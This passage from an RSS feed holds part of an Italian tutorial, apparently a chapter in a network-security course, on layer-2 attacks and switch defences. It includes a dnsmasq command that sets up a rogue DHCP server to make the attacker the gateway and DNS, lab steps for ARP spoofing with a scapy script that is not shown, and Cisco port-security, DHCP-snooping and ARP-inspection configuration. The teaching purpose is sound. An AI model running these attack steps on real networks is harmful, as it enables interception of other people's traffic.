&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# fase 2: il server fasullo distribuisce sé stesso come gateway e DNS&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# (dnsmasq minimale sul nodo attacker)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;dnsmasq --interface&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;eth1 --dhcp-range&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;10.0.0.100,10.0.0.200,1h &lt;span class=&#34;se&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;se&#34;&gt;&lt;/span&gt;        --dhcp-option&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;3,10.0.0.66 --dhcp-option&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;6,10.0.0.66
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Il risultato è lo stesso dell&amp;rsquo;ARP spoofing — l&amp;rsquo;attaccante diventa il gateway — ma qui le vittime
glielo chiedono spontaneamente.&lt;/p&gt;
&lt;h2 id=&#34;la-difesa&#34;&gt;La difesa
&lt;/h2&gt;&lt;p&gt;Tutte e tre le difese stanno sullo switch, non sugli host. Su uno switch gestito si attivano con
tre funzioni che lavorano insieme.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;8
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! port security: limita quanti MAC può imparare una porta -&amp;gt; blocca il MAC flooding
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;switchport port-security maximum 2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;switchport port-security violation restrict
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! DHCP snooping: solo le porte &amp;#34;trust&amp;#34; possono ospitare un server DHCP -&amp;gt; blocca il rogue DHCP
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ip dhcp snooping
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ip dhcp snooping vlan 10
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! Dynamic ARP Inspection: verifica le reply ARP contro la tabella di DHCP snooping -&amp;gt; blocca l&amp;#39;ARP spoofing
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ip arp inspection vlan 10
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Le tre righe evidenziate sono il cuore: &lt;strong&gt;port-security&lt;/strong&gt; tappa il MAC flooding, &lt;strong&gt;DHCP snooping&lt;/strong&gt;
decide da quali porte può arrivare un&amp;rsquo;offerta DHCP, e &lt;strong&gt;Dynamic ARP Inspection (DAI)&lt;/strong&gt; usa proprio
la tabella costruita da DHCP snooping per scartare le reply ARP che non combaciano.&lt;/p&gt;
&lt;p&gt;Con Open vSwitch, che non ha DAI, l&amp;rsquo;equivalente si ottiene con regole OpenFlow che fissano la
coppia IP–MAC per porta, oppure limitando a una porta sola il traffico DHCP server (&lt;code&gt;udp src port 67&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id=&#34;lab&#34;&gt;Lab
&lt;/h2&gt;&lt;p&gt;Nel lab &lt;code&gt;lab-l2.clab.yml&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Avviate una cattura su &lt;code&gt;victim&lt;/code&gt; (&lt;code&gt;tcpdump -i eth1 -n&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Dal nodo &lt;code&gt;attacker&lt;/code&gt;, lanciate lo script scapy di ARP spoofing e attivate &lt;code&gt;ip_forward&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Da &lt;code&gt;victim&lt;/code&gt;, fate &lt;code&gt;ping 10.0.0.1&lt;/code&gt; e osservate su &lt;code&gt;attacker&lt;/code&gt; (con &lt;code&gt;tcpdump&lt;/code&gt;) che i pacchetti
passano da lì.&lt;/li&gt;
&lt;li&gt;Guardate come cambia &lt;code&gt;ip neigh&lt;/code&gt; su &lt;code&gt;victim&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;


&lt;details&gt;
&lt;summary&gt;&lt;strong&gt;Domanda:&lt;/strong&gt; perché la vittima non si accorge di nulla, anche se il ping continua a funzionare?&lt;/summary&gt;
&lt;p&gt;Perché l&#39;attaccante inoltra i pacchetti (&lt;code&gt;ip_forward=1&lt;/code&gt;): la connessione resta viva, la
latenza aumenta di pochissimo, e a livello 3 (IP) tutto sembra normale. L&#39;unico segno è a livello 2:
il MAC associato al gateway è cambiato. È per questo che la difesa sta sullo switch e guarda i MAC,
non sugli host che guardano gli IP. Uno strumento come &lt;code&gt;arpwatch&lt;/code&gt; sull&#39;host può segnalare
il cambio di MAC, ma è un allarme, non una difesa: non impedisce l&#39;attacco.&lt;/p&gt;
&lt;/details&gt;


&lt;h2 id=&#34;conclusione&#34;&gt;Conclusione
&lt;/h2&gt;&lt;p&gt;I tre attacchi condividono la stessa radice: a livello 2 nessuno verifica l&amp;rsquo;identità. La difesa
non sta nel rendere &amp;ldquo;più sicuri&amp;rdquo; gli host, ma nel dare allo switch il compito di controllare chi
dice cosa — port security, DHCP snooping, Dynamic ARP Inspection. Sono funzioni che quasi ogni
switch gestito ha e che quasi nessuno attiva.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;è però un pezzo che manca: fin qui abbiamo dato per scontato che le porte siano già assegnate
alla VLAN giusta. Nel prossimo capitolo vediamo come un attaccante può &lt;strong&gt;saltare da una VLAN
all&amp;rsquo;altra&lt;/strong&gt;, e perché la VLAN nativa è il punto debole.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prossimo nella serie:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/vlan-hopping-and-switch-hardening/&#34; &gt;03 · VLAN hopping e hardening degli switch&lt;/a&gt; ·
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/network-security-roadmap/&#34; &gt;Torna alla roadmap&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        
    </channel>
</rss>
